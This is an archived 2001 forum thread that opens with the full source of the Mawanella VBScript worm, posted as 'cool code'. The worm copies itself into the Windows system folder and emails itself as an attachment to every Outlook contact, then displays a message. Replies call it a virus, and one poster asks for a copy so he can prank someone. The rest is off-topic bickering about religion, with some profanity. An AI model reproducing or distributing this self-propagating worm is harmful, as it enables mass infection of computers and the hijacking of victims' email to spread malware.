PocketMatrix forums

A read-only archive of the PocketMatrix forums (2001–2014). Posting and accounts are closed.

A fun Bit of VBS

Moose or Chuck · 30 May 2001, 21:07 UTC
read this VBS its neato


' Mawanella Worm
' Decrypted by MrBrownstone
'
On Error ResumeNext
Rem // I hate Mawanella incident

Set W_S = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
  On Error Resume Next
  dim wscr,rr, strMsg
  set wscr=CreateObject("WScript.Shell")
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  Set cFile = fso.GetFile(WScript.ScriptFullName)
  cFile.Copy(dirsystem&"\Mawanella.vbs")
   
  Set OutlookA = CreateObject("Outlook.Application")
  If OutlookA = "Outlook" Then
     Set Mapi=OutlookA.GetNameSpace("MAPI")
     Set AddLists=Mapi.AddressLists
     For Each ListIndex In AddLists
        If ListIndex.AddressEntries.Count <> 0 Then
           ContactCountX = ListIndex.AddressEntries.Count
           For Count= 1 To ContactCountX
              Set MailX = OutlookA.CreateItem(0)
              Set ContactX = ListIndex.AddressEntries(Count)
              'msgbox contactx.address
              'Mailx.Recipients.Add(ContactX.Address)
              MailX.To = ContactX.Address
              MailX.Subject = "Mawanella"
              MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf
              'Set Attachment=MailX.Attachments
              'Attachment.Add dirsystem & "\Mawanella.vbs"
              'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
              Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
              MailX.DeleteAfterSubmit = True
              If MailX.To <> "" Then
                 MailX.Send
              End If
           Next
        End If
     Next
  Else
     msgBox "Please Forward this to everyone"
  End if

  strMsg= "  )                    (" & vbcrlf
  strMsg= strMsg & "(  )                (   )  " & vbcrlf
  strMsg= strMsg & "  (    )          (   )" & vbcrlf
  strMsg= strMsg & "    (   )      (         )" & vbcrlf
  strMsg= strMsg & "    -------------------------" & vbcrlf
  strMsg= strMsg & "   /       (   (    (      /\" & vbcrlf
  strMsg= strMsg & "  /          (             /  \" & vbcrlf
  strMsg= strMsg & " /            ( (         /    \" & vbcrlf
  strMsg= strMsg & " --------------------------------" & vbcrlf
  strMsg= strMsg & " |                ---      |      |" & vbcrlf
  strMsg= strMsg & " |  -----        |   |      |      |" & vbcrlf
  strMsg= strMsg & " | |     |        ---       |      |" & vbcrlf
  strMsg= strMsg & " | |     |                  |      |" & vbcrlf
  strMsg= strMsg & " --------------------------------" & vbcrlf

  strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf
  strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf
  strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf
  strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."
  msgbox strMsg,,"Mawanella"
End sub

cool code huh?



Chris Edwards · 30 May 2001, 23:02 UTC
that sorta looks like a virus... hmmmmm..
It's the same type as the "I love you" virus. You have to execute the vbs file for it to get activated.

// Fredrik
Moose or Chuck · 31 May 2001, 08:52 UTC
hmmmm really.
Only Microsoft could make it so easy for a person with the most primitive of skillz to wreak so much havoc.

Dan East
Seriously, I'm a script monkey, aka copy and paste whore, and even I can understand the script above.

How sad.

I would say it is quite simple. Sure I never do VBScript, only JScript, but reading what that does isn't that hard...
Moose or Chuck · 31 May 2001, 13:40 UTC
ya that code is too simple, but u know simple is better. Look at Win ME
Diego Cueva · 31 May 2001, 13:48 UTC

ya that code is too simple, but u know simple is better.


yeah, look at Palm OS... ~~~
Moose or Chuck · 01 Jun 2001, 08:14 UTC
what were the ~~'s for yes the palm OS feckin sux.
Diego Cueva · 01 Jun 2001, 11:37 UTC
what were the ~~'s for yes the palm OS feckin sux.


You wrote: Simple is better. I said: Yeah, look at palm OS~~. (simpler + good = sarcastic = ~)
-Palm OS is simple but it´s not good. Got it!? :)
bah...
Last modification: Diego Cueva - 06/01/01 at 09:37:50
Moose or Chuck · 02 Jun 2001, 23:24 UTC
stop the weird logic, god my brain hurts... o wait I AM GOD
No you're not. I know him. Infact I spoke with him today. :)
Moose or Chuck · 04 Jun 2001, 09:48 UTC
sure, but ummm.. i'm not god anymore, i changed my mind, now i'm chuck 'son of god'
No you're not. I know him. Infact I spoke with him today. :)


Can you ask him if I'm on the "list"?

Moose or Chuck · 05 Jun 2001, 16:23 UTC
umm to go to hell. i believe so :)
If you have accepted Jesus Christ as your personal savior you are on the list. In other words if you have a personal relationship with him. If Jesus is your best friend. I know he is my best friend. He is so cool. He has done so many things in my life...miracles and stuff.

// Fredrik
uh oh...
Moose or Chuck · 05 Jun 2001, 19:11 UTC
i'm not baptist, baptists are weird crazy fucks and they need to get a life.
Chris Edwards · 05 Jun 2001, 20:05 UTC
Chuck.. watch it..

I happen to be Christian...

All "Christian's" believe that Jesus is the only way to heaven. If you don't believe that, than you are not a christian.. That belief is not limited to just baptists...
Moose or Chuck · 05 Jun 2001, 20:27 UTC
nope not all christians, not so firmly, I'm epsicipalian. (so i can't spell) Sure we believe jesus was cool and all and he was all son of god and stuff, but he wasn't the only way in. And if your not "saved", i believe that is a bunch bullshit. That saved crap.
uh oh...
Chris Edwards · 05 Jun 2001, 21:20 UTC
ok, this thread is not meant for the this board anymore. I'm moving it to the anything discussion..
Moose or Chuck · 06 Jun 2001, 09:03 UTC
chris your becomming more and more anal. Watch out your gonna end up like my friends board flippin out and closing the board, just let it ride.
Chris Edwards · 06 Jun 2001, 09:44 UTC
I moved it to a different board.. what's so anal about that?.. i don't think people want to read about chuck in the developers forum.
Moose or Chuck · 06 Jun 2001, 14:44 UTC
no one was reading about me, they were reading some source code. :/
Someone get me a compiler for VBScript, and a copy of that file in a txt doument and send it via e-mail. I've always wanted to pull a prank on someone with the initials JJ
Moose or Chuck · 09 Jun 2001, 15:15 UTC
stealing source code is lame.